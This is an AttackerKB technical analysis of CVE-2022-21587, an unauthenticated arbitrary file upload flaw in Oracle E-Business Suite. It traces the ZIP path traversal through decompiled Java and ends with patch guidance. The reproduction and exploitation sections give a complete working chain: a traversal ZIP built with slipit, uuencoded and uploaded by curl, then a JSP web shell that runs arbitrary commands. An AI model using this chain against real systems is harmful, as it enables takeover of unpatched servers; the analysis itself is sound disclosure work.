Very High
CVE-2022-21587
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-21587
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- oracle
Products
- e-business suite
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Vendor Advisory (https://www.oracle.com/security-alerts/cpuoct2022.html)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Description
Oracle E-Business Suite (EBS) is a packaged collection of enterprise applications for a wide variety of tasks such as customer relationship management (CRM), enterprise resource planning (ERP) or human capital management (HCM).
In October 2022, Oracle published a Critical Patch Update Advisory to remediate several issues across its products, including CVE-2022-21587, an arbitrary file upload vulnerability rated 9.8 on the CVSS v3 risk metric which affects Oracle Web Applications Desktop Integrator as shipped with Oracle EBS versions 12.2.3 through to 12.2.11.
CVE-2022-21587 can lead to unauthenticated remote code execution. On January 16 2023, Viettel Security published an analysis of the issue, detailing the root cause and a method of leveraging the vulnerability to gain code execution via a Perl payload. An exploit based on the Viettel Security analysis technique was published on GitHub by “HMs” on 6 February 2023. Oracle have credited “l1k3beef” as the original discoverer of the vulnerability.
Our analysis reveals it is also possible to leverage a Java Server Page (JSP) based payload during exploitation in order to gain arbitrary code execution.
Technical Analysis
Oracle EBS applications are deployed as enterprise Java applications running on a WebLogic server instance, which by default will listen for HTTP connections on TCP port 8000. The oacore
application exposes several endpoints as configured through the file /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml
, as shown below. Of interest are the endpoints that are serviced by classes inheriting from the BneAbstractXMLServlet
servlet, specifically the /OA_HTML/BneViewerXMLService
, /OA_HTML/BneDownloadService
, /OA_HTML/BneOfflineLOVService
, and /OA_HTML/BneUploaderService
endpoints. While the publicly available exploit targets the /OA_HTML/BneUploaderService
endpoint, all four endpoints are vulnerable to the same issue.
<servlet> <servlet-name>BneViewerXMLService</servlet-name> <servlet-class>oracle.apps.bne.integrator.document.BneViewerXMLService</servlet-class> </servlet> <servlet-mapping> <servlet-name>BneViewerXMLService</servlet-name> <url-pattern>/BneViewerXMLService</url-pattern> </servlet-mapping> <servlet> <servlet-name>BneDownloadService</servlet-name> <servlet-class>oracle.apps.bne.integrator.download.BneDownloadService</servlet-class> </servlet> <servlet-mapping> <servlet-name>BneDownloadService</servlet-name> <url-pattern>/BneDownloadService</url-pattern> </servlet-mapping> <servlet> <servlet-name>BneOfflineLOVService</servlet-name> <servlet-class>oracle.apps.bne.integrator.download.BneOfflineLOVService</servlet-class> </servlet> <servlet-mapping> <servlet-name>BneOfflineLOVService</servlet-name> <url-pattern>/BneOfflineLOVService</url-pattern> </servlet-mapping> <servlet> <servlet-name>BneUploaderService</servlet-name> <servlet-class>oracle.apps.bne.integrator.upload.BneUploaderService</servlet-class> </servlet> <servlet-mapping> <servlet-name>BneUploaderService</servlet-name> <url-pattern>/BneUploaderService</url-pattern> </servlet-mapping>
We can examine how a HTTP POST request to one of the above endpoints is handled by the BneAbstractXMLServlet
servlet via the doRequest
method below. If the request contains multipart form data [1] a HTTP request parameter bne:uueupload
is checked to see if it contains the value true
[2], if found the multipart request will have a suffix of .uue
associated with its files [3] before the multipart request data is processed further via the method doUpload
[4].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneAbstractXMLServlet.class public String getMultipartFileNameSuffix(boolean paramBoolean) { if (paramBoolean) return ".uue"; // <--- [3] return ".xml"; } public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException { doRequest(paramHttpServletRequest, paramHttpServletResponse); } public void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException { BneSitePropertyManager bneSitePropertyManager = BneSitePropertyManager.getInstance(); try { BneOracleWebAppsContext bneOracleWebAppsContext; BneContext.getLogInstance().log(7, "Enter BneAbstractXMLServlet.doRequest()"); boolean bool1 = allowGuestSession(); boolean bool2 = allowBneLogin(); boolean bool3 = includeMessagesElement(); boolean bool4 = disableBneWebAppsContextRelease(); BneWebAppsContext bneWebAppsContext = null; BneBaseBajaContext bneBaseBajaContext = null; PageEvent pageEvent = null; BneXMLPrintWriter bneXMLPrintWriter = null; BneResourceString.setLangOnThread(paramHttpServletRequest); try { bneWebAppsContext = BneAbstractWebAppsContext.getContext(paramHttpServletRequest, paramHttpServletResponse); BneResourceString.setLangOnThread(paramHttpServletRequest, bneWebAppsContext.getLanguage()); bneBaseBajaContext = new BneBaseBajaContext(this, paramHttpServletRequest, paramHttpServletResponse); BneServletUtils.setRequestEncoding((BneBajaContext)bneBaseBajaContext); if (BneSecurity.isBneDisabled(bneWebAppsContext)) { if (bneXMLPrintWriter == null) bneXMLPrintWriter = new BneXMLPrintWriter(bneWebAppsContext, paramHttpServletRequest, paramHttpServletResponse); outputErrorDocument(new BneErrorMessage(BneResourceString.getMlsString("GLB_ER_NO_ACCESS"), null, null, "BNE-020003"), (PrintWriter)bneXMLPrintWriter, bool3); bool4 = false; return; } printServletHAP(paramHttpServletRequest); if ("post".equalsIgnoreCase(paramHttpServletRequest.getMethod()) && MultipartFormHandler.isMultipartRequest((ServletRequest)paramHttpServletRequest)) { // <--- [1] BneContext.getLogInstance().log(7, "BneAbstractXMLServlet.doRequest(), MultipartFileDirectoryName = " + getMultipartFileDirectoryName() + " prefix = " + getMultipartFileNamePrefix()); BneMultipartRequest bneMultipartRequest = new BneMultipartRequest(paramHttpServletRequest, getMultipartFileDirectoryName()); bneMultipartRequest.setFilePrefix(getMultipartFileNamePrefix()); String str = paramHttpServletRequest.getParameter("bne:uueupload"); if (str != null && str.length() > 0 && str.equalsIgnoreCase("TRUE")) { // <--- [2] bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(true)); } else { bneMultipartRequest.setFileSuffix(getMultipartFileNameSuffix(false)); } bneMultipartRequest.doUpload(); // <--- [4]
The doUpload
method will iterate over every item in the multipart request [1] and call the doUploadFile
method to handle the upload of that specific item [2].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class public void doUpload() throws IOException { this._logger.log(7, "BneMultipartRequest.doUpload(): Start"); String str = this._request.getQueryString(); if (str != null) { Hashtable hashtable = HttpUtils.parseQueryString(str); Enumeration<String> enumeration = hashtable.keys(); while (enumeration.hasMoreElements()) { String str1 = enumeration.nextElement(); put(str1, hashtable.get(str1)); } } this._logger.log(7, "BneMultipartRequest.doUpload(): queryString " + str); this._logger.log(7, "BneMultipartRequest.doUpload(): Content-Type " + this._request.getContentType() + " content-length: " + this._request.getContentLength()); MultipartFormHandler multipartFormHandler = new MultipartFormHandler((ServletRequest)this._request); MultipartFormItem multipartFormItem; while ((multipartFormItem = multipartFormHandler.getNextPart()) != null) { // <--- [1] String str1 = multipartFormItem.getName(); String str2 = null; this._logger.log(7, "BneMultipartRequest.doUpload(): item.getName is: " + str1); if (str1.equals("uploadfilename")) this._logger.log(7, "BneMultipartRequest.doUpload(): item.getFilename is: " + multipartFormItem.getFilename()); if (multipartFormItem.getFilename() == null) { str2 = multipartFormItem.getValue(); this._logger.log(7, "BneMultipartRequest.doUpload(): item.getValue() is: " + str2); } else if (multipartFormItem.getFilename().length() > 0) { if (this.m_validMultipartParameterNames != null && !this.m_validMultipartParameterNames.containsKey(str1)) { this._logger.log(4, "BneMultipartRequest.doUpload(): Unknown Multipart file item ignored: " + str1); continue; } this._logger.log(7, "BneMultipartRequest.doUpload(): going to doUploadFile of item "); if (multipartFormItem.getFilename().endsWith(".xlsx")) setFileSuffix(".xlsx"); str2 = doUploadFile(multipartFormItem); // <--- [2]
The doUploadFile
method will write the multipart file item to a temporary file [1] so that it can be processed. If the temporary file name contains the string uue
, it will be handled as a special case. We can note that as mentioned earlier, by passing a HTTP request parameter of bne:uueupload
we can force a suffix of .uue
to be appended to the temporary file so as to satisfy this check [2]. The file is expected to be encoded with the binary to text encoding mechanism called uuencode, after decoding the text file back into a binary file via the doDecode
method [3], the resulting binary file is expected to be a ZIP archive which is then processed via the method doUnZip
[4].
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class private String doUploadFile(MultipartFormItem paramMultipartFormItem) throws IOException { this._logger.log(7, "BneMultipartRequest.doUploadFile(): Start"); File file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix); while (file.exists()) file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix); this._logger.log(7, "BneMultipartRequest.doUploadFile(): Content Type is: " + paramMultipartFormItem.getContentType()); this._logger.log(7, "BneMultipartRequest.doUploadFile(): File Name in item is: " + paramMultipartFormItem.getFilename()); String str = file.toString(); FileOutputStream fileOutputStream = new FileOutputStream(str); this._logger.log(7, "BneMultipartRequest.doUploadFile(): file location is: " + str); paramMultipartFormItem.writeFile(fileOutputStream); // <--- [1] fileOutputStream.flush(); fileOutputStream.close(); if (file.getName().contains("uue")) { // <--- [2] BneDecoder bneDecoder = new BneDecoder(new FileInputStream(file)); String str1 = bneDecoder.doDecode(); // <--- [3] this._logger.log(7, "BneMultipartRequest.doUploadFile(): Zip file is: " + str1); BneUnZip bneUnZip = new BneUnZip(); String str2 = bneUnZip.doUnZip(str1); // <--- [4]
The doUnZip
method is vulnerable to a path traversal issue which allows an attacker to write the contents of a ZIP file entry to an arbitrary location on the target system. First, the value of the BNE_UPLOAD_STAGING_DIRECTORY
application property is retrieved [1]. This is the path where UUE decoded files are stored during doDecode
above, and where the ZIP file entries are expected to be extracted to. By default this location is /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload
. The entries in the ZIP file are iterated over [2] and for each entry in the ZIP file, a path is constructed to extract the entry into. This path is a concatenation of the staging directory and the current entries name [3]. If the entries name contains double dot path specifiers ../
then the contents of the entry can be written to a location outside of the staging directory [4]. For example if a ZIP file contains an entry with the name ../../../../../foo.hax
then the entry will be extracted to the location /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload/../../../../../foo.hax
which has a canonical form of /u01/install/APPS/fs1/foo.hax
.
// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/utilities/BneUnZip.class public String doUnZip(String paramString) throws IOException { String str1 = new String(""); String str2 = new String(""); BneContext.getLogInstance().log(7, "BneUnZip.doUpZip Enter fileName: " + paramString); str1 = BneSitePropertyManager.getInstance().getProperty("BNE_UPLOAD_STAGING_DIRECTORY"); // <--- [1] try { BufferedOutputStream bufferedOutputStream = null; FileInputStream fileInputStream = new FileInputStream(paramString); ZipInputStream zipInputStream = new ZipInputStream(new BufferedInputStream(fileInputStream)); ZipEntry zipEntry; while ((zipEntry = zipInputStream.getNextEntry()) != null) { // <--- [2] byte[] arrayOfByte = new byte[2048]; str2 = str1 + System.getProperty("file.separator") + zipEntry.getName(); // <--- [3] FileOutputStream fileOutputStream = new FileOutputStream(str2); BneContext.getLogInstance().log(7, "BneUnZip.doUpZip entry.getName() " + zipEntry.getName()); bufferedOutputStream = new BufferedOutputStream(fileOutputStream, 2048); int i; while ((i = zipInputStream.read(arrayOfByte, 0, 2048)) != -1) { bufferedOutputStream.write(arrayOfByte, 0, i); // <--- [4]
Reproduction
We can demonstrate the ability to upload an arbitrary file with a few commands, first we will create an arbitrary file to upload:
$ echo hax > foo.hax
We can then use the slipit tool to generate a ZIP file with an entry whose name contains several double dot path specifiers. We will choose 5 double dot specifiers in order to traverse from the path /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload
to the path /u01/install/APPS/fs1/
where we want to write our file.
$ slipit --overwrite --separator '/' --depth 5 foo.zip foo.hax $ slipit foo.zip File Name Modified Size ../../../../../foo.hax 2023-02-08 10:42:16 4
We then uuencode the ZIP file.
$ uuencode foo.zip foo.zip > foo.uue $ cat foo.uue begin 777 foo.zip M4$L#!!0``````$A52%8'N_"1!`````0````6````+BXO+BXO+BXO+BXO+BXO M9F]O+FAA>&AA>`I02P$"%`,4``````!(54A6![OPD00````$````%@`````` M````````_X$`````+BXO+BXO+BXO+BXO+BXO9F]O+FAA>%!+!08``````0`! +`$0````X```````` ` end
Before finally issuing a POST request to one of the four vulnerable endpoints.
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F upload=@foo.uue
If we SSH into the Oracle EBS appliance we can now observe the file foo.hax
has been uploaded to a location we control.
[oracle@apps scripts]$ ls -al /u01/install/APPS/fs1 total 12 drwxr-xr-x. 5 oracle oinstall 64 Feb 8 05:45 . drwxr-xr-x. 10 oracle oinstall 4096 Dec 4 2020 .. drwxr-xr-x. 5 oracle oinstall 44 Nov 22 2020 EBSapps drwxr-x---. 11 oracle oinstall 4096 Nov 22 2020 FMW_Home -rw-r--r--. 1 oracle oinstall 4 Feb 8 05:45 foo.hax drwxr-xr-x. 3 oracle oinstall 18 Nov 18 2020 inst [oracle@apps scripts]$ cat /u01/install/APPS/fs1/foo.hax hax
Exploitation
To demonstrate arbitrary code execution Viettel Security demonstrated how a Perl web shell may be uploaded to the location /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/common/scripts/txkFNDWRR.pl
. An attacker may then pass arbitrary commands to this web shell by issuing requests to the /OA_CGI/FNDWRR.exe
endpoint which will in turn execute the attacker’s Perl web shell script. Viettel notes that whitelisting is in place to prevent arbitrary Java Server Pages (JSP) being uploaded, however our analysis has shown it is still possible to upload arbitrary JSP, such as a JSP web shell or a more advanced JSP payload, by targeting a location in the Oracle EBS WebLogic forms module.
First we create the basic JSP web shell we want to upload.
$ cat <<EOT >> hax.jsp <%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String line = dis.readLine(); while(line != null) { out.println(line); line = dis.readLine(); } } %> EOT
We then add this JSP file to a ZIP archive using slipit
to leverage the path traversal issue. We will write our JSP web shell to the location /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/hax.jsp
.
$ slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/applications/forms/forms/' hax.zip hax.jsp
We then uuencode the ZIP archive.
$ uuencode hax.zip hax.zip > hax.uue
We leverage the vulnerability to upload our JSP web shell.
$ curl http://192.168.86.37:8000/OA_HTML/BneOfflineLOVService?bne:uueupload=true -F upload=@hax.uue
Before finally leveraging the JSP web shell to execute an arbitrary command. We can see we now have code execution as the user oracle
.
$ curl http://192.168.86.37:8000/forms/hax.jsp?cmd=id uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Guidance
As an official patch for this issue is available from Oracle, we recommend all affected Oracle EBS users should apply the October 2022 patch.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: